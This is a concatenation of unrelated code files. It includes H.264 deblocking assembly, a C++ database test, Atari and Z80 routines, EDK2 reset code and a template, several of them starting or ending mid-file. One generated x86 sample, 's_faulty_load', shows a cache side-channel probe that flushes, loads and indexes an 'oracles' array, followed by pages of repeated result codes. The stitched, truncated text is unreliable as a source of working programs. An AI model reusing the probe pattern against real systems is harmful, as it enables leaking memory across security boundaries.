in: t0-t2: tmp registers ; %1=p0 %2=p1 %3=p2 %4=p3 %5=q0 %6=q1 %7=mask0 ; %8=mask1p %9=2 %10=p0' %11=p1' %12=p2' %macro LUMA_INTRA_P012 12 ; p0..p3 in memory %ifdef ARCH_X86_64 paddw t0, %3, %2 mova t2, %4 paddw t2, %3 %else mova t0, %3 mova t2, %4 paddw t0, %2 paddw t2, %3 %endif paddw t0, %1 paddw t2, t2 paddw t0, %5 paddw t2, %9 paddw t0, %9 ; (p2 + p1 + p0 + q0 + 2) paddw t2, t0 ; (2*p3 + 3*p2 + p1 + p0 + q0 + 4) psrlw t2, 3 psrlw t1, t0, 2 psubw t2, %3 psubw t1, %2 pand t2, %8 pand t1, %8 paddw t2, %3 paddw t1, %2 SWAPMOVA %11, t1 psubw t1, t0, %3 paddw t0, t0 psubw t1, %5 psubw t0, %3 paddw t1, %6 paddw t1, %2 paddw t0, %6 psrlw t1, 2 ; (2*p1 + p0 + q1 + 2)/4 psrlw t0, 3 ; (p2 + 2*p1 + 2*p0 + 2*q0 + q1 + 4)>>3 pxor t0, t1 pxor t1, %1 pand t0, %8 pand t1, %7 pxor t0, t1 pxor t0, %1 SWAPMOVA %10, t0 SWAPMOVA %12, t2 %endmacro %macro LUMA_INTRA_INIT 1 %xdefine pad %1*mmsize+((gprsize*3) % mmsize)-(stack_offset&15) %define t0 m4 %define t1 m5 %define t2 m6 %define t3 m7 %assign i 4 %rep %1 CAT_XDEFINE t, i, [rsp+mmsize*(i-4)] %assign i i+1 %endrep SUB rsp, pad %endmacro ; in: %1-%3=tmp, %4=p2, %5=q2 %macro LUMA_INTRA_INTER 5 LOAD_AB t0, t1, r2d, r3d mova %1, t0 LOAD_MASK m0, m1, m2, m3, %1, t1, t0, t2, t3 %ifdef ARCH_X86_64 mova %2, t0 ; mask0 psrlw t3, %1, 2 %else mova t3, %1 mova %2, t0 ; mask0 psrlw t3, 2 %endif paddw t3, [pw_2] ; alpha/4+2 DIFF_LT m1, m2, t3, t2, t0 ; t2 = |p0-q0| < alpha/4+2 pand t2, %2 mova t3, %5 ; q2 mova %1, t2 ; mask1 DIFF_LT t3, m2, t1, t2, t0 ; t2 = |q2-q0| < beta pand t2, %1 mova t3, %4 ; p2 mova %3, t2 ; mask1q DIFF_LT t3, m1, t1, t2, t0 ; t2 = |p2-p0| < beta pand t2, %1 mova %1, t2 ; mask1p %endmacro %macro LUMA_H_INTRA_LOAD 0 %if mmsize == 8 movu t0, [r0-8] movu t1, [r0+r1-8] movu m0, [r0+r1*2-8] movu m1, [r0+r4-8] TRANSPOSE4x4W 4, 5, 0, 1, 2 mova t4, t0 ; p3 mova t5, t1 ; p2 movu m2, [r0] movu m3, [r0+r1] movu t0, [r0+r1*2] movu t1, [r0+r4] TRANSPOSE4x4W 2, 3, 4, 5, 6 mova t6, t0 ; q2 mova t7, t1 ; q3 %else movu t0, [r0-8] movu t1, [r0+r1-8] movu m0, [r0+r1*2-8] movu m1, [r0+r5-8] movu m2, [r4-8] movu m3, [r4+r1-8] movu t2, [r4+r1*2-8] movu t3, [r4+r5-8] TRANSPOSE8x8W 4, 5, 0, 1, 2, 3, 6, 7, t4, t5 mova t4, t0 ; p3 mova t5, t1 ; p2 mova t6, t2 ; q2 mova t7, t3 ; q3 %endif %endmacro ; in: %1=q3 %2=q2' %3=q1' %4=q0' %5=p0' %6=p1' %7=p2' %8=p3 %9=tmp %macro LUMA_H_INTRA_STORE 9 %if mmsize == 8 TRANSPOSE4x4W %1, %2, %3, %4, %9 movq [r0-8], m%1 movq [r0+r1-8], m%2 movq [r0+r1*2-8], m%3 movq [r0+r4-8], m%4 movq m%1, %8 TRANSPOSE4x4W %5, %6, %7, %1, %9 movq [r0], m%5 movq [r0+r1], m%6 movq [r0+r1*2], m%7 movq [r0+r4], m%1 %else TRANSPOSE2x4x4W %1, %2, %3, %4, %9 movq [r0-8], m%1 movq [r0+r1-8], m%2 movq [r0+r1*2-8], m%3 movq [r0+r5-8], m%4 movhps [r4-8], m%1 movhps [r4+r1-8], m%2 movhps [r4+r1*2-8], m%3 movhps [r4+r5-8], m%4 %ifnum %8 SWAP %1, %8 %else mova m%1, %8 %endif TRANSPOSE2x4x4W %5, %6, %7, %1, %9 movq [r0], m%5 movq [r0+r1], m%6 movq [r0+r1*2], m%7 movq [r0+r5], m%1 movhps [r4], m%5 movhps [r4+r1], m%6 movhps [r4+r1*2], m%7 movhps [r4+r5], m%1 %endif %endmacro %ifdef ARCH_X86_64 ;----------------------------------------------------------------------------- ; void deblock_v_luma_intra( uint16_t *pix, int stride, int alpha, int beta ) ;----------------------------------------------------------------------------- %macro DEBLOCK_LUMA_INTRA_64 1 cglobal deblock_v_luma_intra_10_%1, 4,7,16 %define t0 m1 %define t1 m2 %define t2 m4 %define p2 m8 %define p1 m9 %define p0 m10 %define q0 m11 %define q1 m12 %define q2 m13 %define aa m5 %define bb m14 lea r4, [r1*4] lea r5, [r1*3] ; 3*stride neg r4 add r4, r0 ; pix-4*stride mov r6, 2 mova m0, [pw_2] shl r2d, 2 shl r3d, 2 LOAD_AB aa, bb, r2d, r3d .loop mova p2, [r4+r1] mova p1, [r4+2*r1] mova p0, [r4+r5] mova q0, [r0] mova q1, [r0+r1] mova q2, [r0+2*r1] LOAD_MASK p1, p0, q0, q1, aa, bb, m3, t0, t1 mova t2, aa psrlw t2, 2 paddw t2, m0 ; alpha/4+2 DIFF_LT p0, q0, t2, m6, t0 ; m6 = |p0-q0| < alpha/4+2 DIFF_LT p2, p0, bb, t1, t0 ; m7 = |p2-p0| < beta DIFF_LT q2, q0, bb, m7, t0 ; t1 = |q2-q0| < beta pand m6, m3 pand m7, m6 pand m6, t1 LUMA_INTRA_P012 p0, p1, p2, [r4], q0, q1, m3, m6, m0, [r4+r5], [r4+2*r1], [r4+r1] LUMA_INTRA_P012 q0, q1, q2, [r0+r5], p0, p1, m3, m7, m0, [r0], [r0+r1], [r0+2*r1] add r0, mmsize add r4, mmsize dec r6 jg .loop REP_RET ;----------------------------------------------------------------------------- ; void deblock_h_luma_intra( uint16_t *pix, int stride, int alpha, int beta ) ;----------------------------------------------------------------------------- cglobal deblock_h_luma_intra_10_%1, 4,7,16 %define t0 m15 %define t1 m14 %define t2 m2 %define q3 m5 %define q2 m8 %define q1 m9 %define q0 m10 %define p0 m11 %define p1 m12 %define p2 m13 %define p3 m4 %define spill [rsp] %assign pad 24-(stack_offset&15) SUB rsp, pad lea r4, [r1*4] lea r5, [r1*3] ; 3*stride add r4, r0 ; pix+4*stride mov r6, 2 mova m0, [pw_2] shl r2d, 2 shl r3d, 2 .loop movu q3, [r0-8] movu q2, [r0+r1-8] movu q1, [r0+r1*2-8] movu q0, [r0+r5-8] movu p0, [r4-8] movu p1, [r4+r1-8] movu p2, [r4+r1*2-8] movu p3, [r4+r5-8] TRANSPOSE8x8W 5, 8, 9, 10, 11, 12, 13, 4, 1 LOAD_AB m1, m2, r2d, r3d LOAD_MASK q1, q0, p0, p1, m1, m2, m3, t0, t1 psrlw m1, 2 paddw m1, m0 ; alpha/4+2 DIFF_LT p0, q0, m1, m6, t0 ; m6 = |p0-q0| < alpha/4+2 DIFF_LT q2, q0, m2, t1, t0 ; t1 = |q2-q0| < beta DIFF_LT p0, p2, m2, m7, t0 ; m7 = |p2-p0| < beta pand m6, m3 pand m7, m6 pand m6, t1 mova spill, q3 LUMA_INTRA_P012 q0, q1, q2, q3, p0, p1, m3, m6, m0, m5, m1, q2 LUMA_INTRA_P012 p0, p1, p2, p3, q0, q1, m3, m7, m0, p0, m6, p2 mova m7, spill LUMA_H_INTRA_STORE 7, 8, 1, 5, 11, 6, 13, 4, 14 lea r0, [r0+r1*8] lea r4, [r4+r1*8] dec r6 jg .loop ADD rsp, pad RET %endmacro INIT_XMM DEBLOCK_LUMA_INTRA_64 sse2 %ifdef HAVE_AVX INIT_AVX DEBLOCK_LUMA_INTRA_64 avx %endif %endif %macro DEBLOCK_LUMA_INTRA 1 ;----------------------------------------------------------------------------- ; void deblock_v_luma_intra( uint16_t *pix, int stride, int alpha, int beta ) ;----------------------------------------------------------------------------- cglobal deblock_v_luma_intra_10_%1, 4,7,8*(mmsize/16) LUMA_INTRA_INIT 3 lea r4, [r1*4] lea r5, [r1*3] neg r4 add r4, r0 mov r6, 32/mmsize shl r2d, 2 shl r3d, 2 .loop: mova m0, [r4+r1*2] ; p1 mova m1, [r4+r5] ; p0 mova m2, [r0] ; q0 mova m3, [r0+r1] ; q1 LUMA_INTRA_INTER t4, t5, t6, [r4+r1], [r0+r1*2] LUMA_INTRA_P012 m1, m0, t3, [r4], m2, m3, t5, t4, [pw_2], [r4+r5], [r4+2*r1], [r4+r1] mova t3, [r0+r1*2] ; q2 LUMA_INTRA_P012 m2, m3, t3, [r0+r5], m1, m0, t5, t6, [pw_2], [r0], [r0+r1], [r0+2*r1] add r0, mmsize add r4, mmsize dec r6 jg .loop ADD rsp, pad RET ;----------------------------------------------------------------------------- ; void deblock_h_luma_intra( uint16_t *pix, int stride, int alpha, int beta ) ;----------------------------------------------------------------------------- cglobal deblock_h_luma_intra_10_%1, 4,7,8*(mmsize/16) LUMA_INTRA_INIT 8 %if mmsize == 8 lea r4, [r1*3] mov r5, 32/mmsize %else lea r4, [r1*4] lea r5, [r1*3] ; 3*stride add r4, r0 ; pix+4*stride mov r6, 32/mmsize %endif shl r2d, 2 shl r3d, 2 .loop: LUMA_H_INTRA_LOAD LUMA_INTRA_INTER t8, t9, t10, t5, t6 LUMA_INTRA_P012 m1, m0, t3, t4, m2, m3, t9, t8, [pw_2], t8, t5, t11 mova t3, t6 ; q2 LUMA_INTRA_P012 m2, m3, t3, t7, m1, m0, t9, t10, [pw_2], m4, t6, m5 mova m2, t4 mova m0, t11 mova m1, t5 mova m3, t8 mova m6, t6 LUMA_H_INTRA_STORE 2, 0, 1, 3, 4, 6, 5, t7, 7 lea r0, [r0+r1*(mmsize/2)] %if mmsize == 8 dec r5 %else lea r4, [r4+r1*(mmsize/2)] dec r6 %endif jg .loop ADD rsp, pad RET %endmacro %ifndef ARCH_X86_64 INIT_MMX DEBLOCK_LUMA mmxext DEBLOCK_LUMA_INTRA mmxext INIT_XMM DEBLOCK_LUMA sse2 DEBLOCK_LUMA_INTRA sse2 %ifdef HAVE_AVX INIT_AVX DEBLOCK_LUMA avx DEBLOCK_LUMA_INTRA avx %endif %endif ; in: %1=p0, %2=q0, %3=p1, %4=q1, %5=mask, %6=tmp, %7=tmp ; out: %1=p0', %2=q0' %macro CHROMA_DEBLOCK_P0_Q0_INTRA 7 mova %6, [pw_2] paddw %6, %3 paddw %6, %4 paddw %7, %6, %2 paddw %6, %1 paddw %6, %3 paddw %7, %4 psraw %6, 2 psraw %7, 2 psubw %6, %1 psubw %7, %2 pand %6, %5 pand %7, %5 paddw %1, %6 paddw %2, %7 %endmacro %macro CHROMA_V_LOAD 1 mova m0, [r0] ; p1 mova m1, [r0+r1] ; p0 mova m2, [%1] ; q0 mova m3, [%1+r1] ; q1 %endmacro %macro CHROMA_V_STORE 0 mova [r0+1*r1], m1 mova [r0+2*r1], m2 %endmacro %macro CHROMA_V_LOAD_TC 2 movd %1, [%2] punpcklbw %1, %1 punpcklwd %1, %1 psraw %1, 6 %endmacro %macro DEBLOCK_CHROMA 1 ;----------------------------------------------------------------------------- ; void deblock_v_chroma( uint16_t *pix, int stride, int alpha, int beta, int8_t *tc0 ) ;----------------------------------------------------------------------------- cglobal deblock_v_chroma_10_%1, 5,7-(mmsize/16),8*(mmsize/16) mov r5, r0 sub r0, r1 sub r0, r1 shl r2d, 2 shl r3d, 2 %if mmsize < 16 mov r6, 16/mmsize .loop: %endif CHROMA_V_LOAD r5 LOAD_AB m4, m5, r2d, r3d LOAD_MASK m0, m1, m2, m3, m4, m5, m7, m6, m4 pxor m4, m4 CHROMA_V_LOAD_TC m6, r4 psubw m6, [pw_3] pmaxsw m6, m4 pand m7, m6 DEBLOCK_P0_Q0 m1, m2, m0, m3, m7, m5, m6 CHROMA_V_STORE %if mmsize < 16 add r0, mmsize add r5, mmsize add r4, mmsize/8 dec r6 jg .loop REP_RET %else RET %endif ;----------------------------------------------------------------------------- ; void deblock_v_chroma_intra( uint16_t *pix, int stride, int alpha, int beta ) ;----------------------------------------------------------------------------- cglobal deblock_v_chroma_intra_10_%1, 4,6-(mmsize/16),8*(mmsize/16) mov r4, r0 sub r0, r1 sub r0, r1 shl r2d, 2 shl r3d, 2 %if mmsize < 16 mov r5, 16/mmsize .loop: %endif CHROMA_V_LOAD r4 LOAD_AB m4, m5, r2d, r3d LOAD_MASK m0, m1, m2, m3, m4, m5, m7, m6, m4 CHROMA_DEBLOCK_P0_Q0_INTRA m1, m2, m0, m3, m7, m5, m6 CHROMA_V_STORE %if mmsize < 16 add r0, mmsize add r4, mmsize dec r5 jg .loop REP_RET %else RET %endif %endmacro %ifndef ARCH_X86_64 INIT_MMX DEBLOCK_CHROMA mmxext %endif INIT_XMM DEBLOCK_CHROMA sse2 %ifdef HAVE_AVX INIT_AVX DEBLOCK_CHROMA avx %endif
#include <rusql/rusql.hpp> #include "test.hpp" #include "database_test.hpp" #include <cstdlib> int main(int argc, char *argv[]) { auto db = get_database(argc, argv); test_init(4); test_start_try(4); try { db->execute("CREATE TABLE rusqltest (`id` INTEGER(10) PRIMARY KEY AUTO_INCREMENT, `value` INT(2) NOT NULL)"); auto statement = db->prepare("INSERT INTO rusqltest (`value`) VALUES (67)"); statement.execute(); uint64_t insert_id = statement.insert_id(); auto st2 = db->prepare("SELECT id FROM rusqltest WHERE value=67"); st2.execute(); uint64_t real_insert_id = 0xdeadbeef; st2.bind_results(real_insert_id); test(st2.fetch(), "one result"); test(real_insert_id != 0xdeadbeef, "real_insert_id was changed"); test(real_insert_id == insert_id, "last_insert_id() returned correctly"); test(!st2.fetch(), "one result only"); } catch(std::exception &e) { diag(e); } test_finish_try(); db->execute("DROP TABLE rusqltest"); return 0; }
extwindow equ $4000 banks dontuse org *+$100 bankindex dta 0 prepnextbank ldx bankindex lda banks,x sne:jmp main ; cancel load and run if banks are full sta PORTB inx stx bankindex sta rdscr+38 rts ; destroys addresses 0, 4000, 8000, C000 on RAMBO 256K ; destroys first byte in every extended RAM bank and 4000 in main mem detectram sei mva #0 NMIEN sta DMACTL ; clear dontuse table tax sta:rne dontuse,x+ ; store 5A in every bank lda #$5A l1 stx PORTB sta extwindow :2 inx bne l1 ; store 5A in address zero to detect RAMBO 256K sta 0 ; loop through banks by X l2 ; skip if bank X has been marked as dont-use ldy dontuse,x bne c1 ; write A5 into bank X stx PORTB mva #$A5 extwindow ; if address 0 contains A5 then mark as RAMBO 256K main mem alias cmp 0 bne c0 sta dontuse,x beq c1 c0 ; loop through banks by Y = X+2 .. $FE txa tay :2 iny l3 sty PORTB ; if this bank contains A5 then mark as not unique lda #$A5 cmp extwindow sne:sta dontuse,y :2 iny bne l3 ; write 5A back into bank X stx PORTB mvy #$5A extwindow c1 :2 inx bne l2 ; enumerate unique banks ldy #0 l4 lda dontuse,x bne c2 cpx #$10 sne:ldx #$90 ; disable self-test in main ram bank txa ; set OS enable bit on all banks ora #1 sta banks,y+ c2 :2 inx bne l4 ; terminate list with 0 mva #0 banks,y jsr displaycount lda #0 sta:rne banks,y+ ; display loading message mwa #rddlist $230 ; SDLSTL mva #0 $2C6 ; COLOR2 mva #15 $2C5 ; COLOR1 lda:rne VCOUNT mva #$22 $22F ; SDMCTL ; restore OS ROM mva #$FF PORTB ; restore interrupts cli mva #$40 NMIEN rts rddlist :5 dta $70 dta $42,a(rdscr) dta $70 dta $42,a(banks) dta $2 dta $41,a(rddlist) rdscr ; 0123456789012345678901234567890123456789 dta d' Loading into 00 detected banks... ' displaycount tya ldx #0 divmod cmp #10 bcc done sbc #10 inx jmp divmod done adc #16 sta rdscr+18 txa adc #16 sta rdscr+17 rts
;------------------------------------------------------------------------------ ; @file ; Main routine of the pre-SEC code up through the jump into SEC ; ; Copyright (c) 2008 - 2015, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;------------------------------------------------------------------------------ BITS 16 ; ; Modified: EBX, ECX, EDX, EBP ; ; @param[in,out] RAX/EAX Initial value of the EAX register ; (BIST: Built-in Self Test) ; @param[in,out] DI 'BP': boot-strap processor, or ; 'AP': application processor ; @param[out] RBP/EBP Address of Boot Firmware Volume (BFV) ; ; @return None This routine jumps to SEC and does not return ; Main16: OneTimeCall EarlyInit16 ; ; Transition the processor from 16-bit real mode to 32-bit flat mode ; OneTimeCall TransitionFromReal16To32BitFlat BITS 32 ; ; Get BFV Entrypoint ; mov eax, 0FFFFFFFCh mov eax, dword [eax] mov esi, dword [eax] jmp esi
// Copyright (c) 2009 hp-FEM group at the University of Nevada, Reno (UNR). // Distributed under the terms of the BSD license (see the LICENSE // file for the exact terms). // Email: hermes1d@googlegroups.com, home page: http://hpfem.org/ #include "lobatto.h" int lobatto_order_1d[] = { 1, {% for f in functions[1:] %} {{ f.id }},{% endfor %} }; {% for f in functions %} static double lobatto_fn_{{ f.id }}(double _x) { long double x = _x; return {{ f.expr }}; } {% endfor %} shape_fn_t lobatto_fn_tab_1d[] = { {% for f in functions %} lobatto_fn_{{ f.id }},{% endfor %} }; {% for f in functions %} static double lobatto_der_{{ f.id }}(double _x) { long double x = _x; return {{ f.expr_diff }}; } {% endfor %} shape_fn_t lobatto_der_tab_1d[] = { {% for f in functions %} lobatto_der_{{ f.id }},{% endfor %} };
.DATA .TEXT 0x1168 start: sh $a0,0xfc30($0) sh $a1,0xfc32($0) sh $a2,0xfc34($0) eret
; int wv_priority_queue_reserve(wv_priority_queue_t *q, size_t n) SECTION code_clib SECTION code_adt_wv_priority_queue PUBLIC wv_priority_queue_reserve EXTERN asm_wv_priority_queue_reserve wv_priority_queue_reserve: pop af pop bc pop hl push hl push bc push af jp asm_wv_priority_queue_reserve
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1c21c, %r14 nop nop nop sub $51245, %rsi vmovups (%r14), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %rbx nop nop nop nop inc %r12 lea addresses_WT_ht+0xba1c, %rsi lea addresses_UC_ht+0x917a, %rdi nop nop and $23615, %r8 mov $14, %rcx rep movsl nop nop nop nop add %rcx, %rcx lea addresses_D_ht+0x78cc, %rsi lea addresses_WC_ht+0x1221c, %rdi nop nop nop nop sub %rax, %rax mov $86, %rcx rep movsq nop nop and $9960, %rdi lea addresses_D_ht+0x15ace, %rbx nop nop cmp %rax, %rax mov (%rbx), %r8d nop nop nop nop nop and $52847, %r12 lea addresses_WT_ht+0x1089c, %r12 nop nop sub $19580, %rbx movb (%r12), %r8b nop nop nop dec %r14 lea addresses_UC_ht+0x12a1c, %rdi nop nop sub $43295, %r8 mov (%rdi), %bx nop nop dec %r14 lea addresses_A_ht+0xca64, %rsi nop nop nop xor %rax, %rax mov (%rsi), %di nop nop nop nop and %r12, %r12 lea addresses_A_ht+0x16f5c, %rsi lea addresses_A_ht+0x1c37c, %rdi clflush (%rdi) nop nop add %r8, %r8 mov $45, %rcx rep movsl and $26164, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %rax push %rbx push %rcx push %rdi push %rdx // Store lea addresses_normal+0xd5fc, %rdi nop nop nop nop xor %r15, %r15 mov $0x5152535455565758, %r11 movq %r11, %xmm7 movups %xmm7, (%rdi) nop nop and %rax, %rax // Store lea addresses_US+0x1931c, %r15 xor %rdx, %rdx movw $0x5152, (%r15) nop nop nop nop nop and $50275, %rbx // Faulty Load lea addresses_PSE+0x1aa1c, %rax clflush (%rax) nop nop nop nop and %r15, %r15 mov (%rax), %rdx lea oracles, %rdi and $0xff, %rdx shlq $12, %rdx mov (%rdi,%rdx,1), %rdx pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_normal', 'AVXalign': False, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_US', 'AVXalign': False, 'size': 2}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}} {'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
; --------------------------------------------------------------------------- ; Animation script - energy balls (FZ) ; --------------------------------------------------------------------------- Ani_Plasma: dc.w @full-Ani_Plasma dc.w @short-Ani_Plasma @full: dc.b 1, 0, $A, 8, $A, 1, $A, 9, $A, 6, $A, 7, $A, 0, $A dc.b 8, $A, 1, $A, 9, $A, 6, $A, 7, $A, 2, $A, 3, $A, 4 dc.b $A, 5, afEnd even @short: dc.b 0, 6, 5, 1, 5, 7, 5, 1, 5, afEnd even
;================================================================================================== ; ECB USB-FIFO DRIVER FOR WILL SOWERBUTTS ADAFRUIT BASED FT232H ECB-FIFO BOARD ; REFER https://www.retrobrewcomputers.org/doku.php?id=boards:ecb:usb-fifo:start ; PHIL SUMMERS (b1ackmai1er) ;================================================================================================== ; ; BASE PORT IS SET IN CFG_SBC.INC ; INTERRUPTS ARE NOT USED. ; ONLY ONE BOARD SUPPORTED. ; ; HBIOS CALLS: ; ; UF_PREINIT SETUP THE DISPATCH TABLE ENTRY AND INITIALIZE HARDWARE ; UF_INIT ANNOUNCE DEVICE DESCRIPTION AND PORT ; FIFO_DATA .EQU (UFBASE+0) ; READ/WRITE DATA FIFO_STATUS .EQU (UFBASE+1) ; READ/WRITE STATUS FIFO_SEND_IMM .EQU (UFBASE+2) ; WRITE PORT TO FORCE BUFFER FLUSH FIFO_BUFFER .EQU FALSE ; OPTION TO BUFFER OUTPUT FOR 17ms ; UF_USB_ACTIVE .DB 0 ; USB CABLE CONNECTED STATUS FLAG ; ; DEVICE DESCRIPTION TABLE ; UF_CFG: .DW SER_9600_8N1 ; DUMMY CONFIGURATION ; ; SETUP THE DISPATCH TABLE ENTRY AND INITIALIZE HARDWARE ; UF_PREINIT: LD HL,UF_CFG ; POINT TO START OF CFG TABLE PUSH HL ; COPY CFG DATA PTR PUSH HL POP IY ; ... TO IY CALL UF_INITUNIT ; HAND OFF TO GENERIC INIT CODE LD (UF_USB_ACTIVE),A ; SAVE USB CONNECTION STATUS POP DE ; GET ENTRY ADDRESS BACK, BUT PUT IN DE ; JR Z,UF_FAIL ; EXIT IF NO USB CONNECTION LD BC,UF_FNTBL ; BC := FUNCTION TABLE ADDRESS CALL CIO_ADDENT ; ADD ENTRY IF FOUND, BC:DE XOR A ; SIGNAL SUCCESS UF_FAIL: RET ; AND RETURN ; ; INITIALIZATION ROUTINE ; UF_INITUNIT: CALL UF_DETECT ; DETERMINE TYPE OR A ; SET FLAGS RET Z ; ABORT IF NOTHING THERE ; SET DEFAULT CONFIG LD DE,-1 ; LEAVE CONFIG ALONE JR UF_INITDEV ; IMPLEMENT IT AND RETURN ; ; ANNOUNCE DEVICE DESCRIPTION AND PORT ; UF_INIT: CALL NEWLINE ; PRINT DEVICE CALL PRTSTRD .TEXT "USB-FIFO: IO=0x$") LD A,UFBASE ; PRINT PORT CALL PRTHEXBYTE LD A,(UF_USB_ACTIVE) ; PRINT CONNECTION STATUS OR A ; REQUIRES TERMINAL PROGRAM RET NZ ; TO HAVE INITIALIZED PORT CALL PRTSTRD ; ON PC SIDE. .TEXT " No connection$" RET ; ; INPUT A CHARACTER AND RETURN IT IN E ; UF_IN: CALL UF_IST ; CHAR WAITING? JR Z,UF_IN ; LOOP IF NOT LD C,FIFO_DATA ; C := INPUT PORT IN E,(C) ; GET CHAR XOR A ; SIGNAL SUCCESS RET ; ; OUTPUT THE CHARACTER IN E ; UF_OUT: CALL UF_OST ; READY FOR CHAR? JR Z,UF_OUT ; LOOP IF NOT LD C,FIFO_DATA OUT (C),E ; WRITE TO FIFO #IF (FIFO_BUFFER) OUT (FIFO_SEND_IMM),A ; SEND IMMEDIATE #ENDIF XOR A ; SIGNAL SUCCESS RET ; ; INPUT STATUS - CAN WE SEND A CHARACTER ; UF_IST: IN A,(FIFO_STATUS) ; IS THE 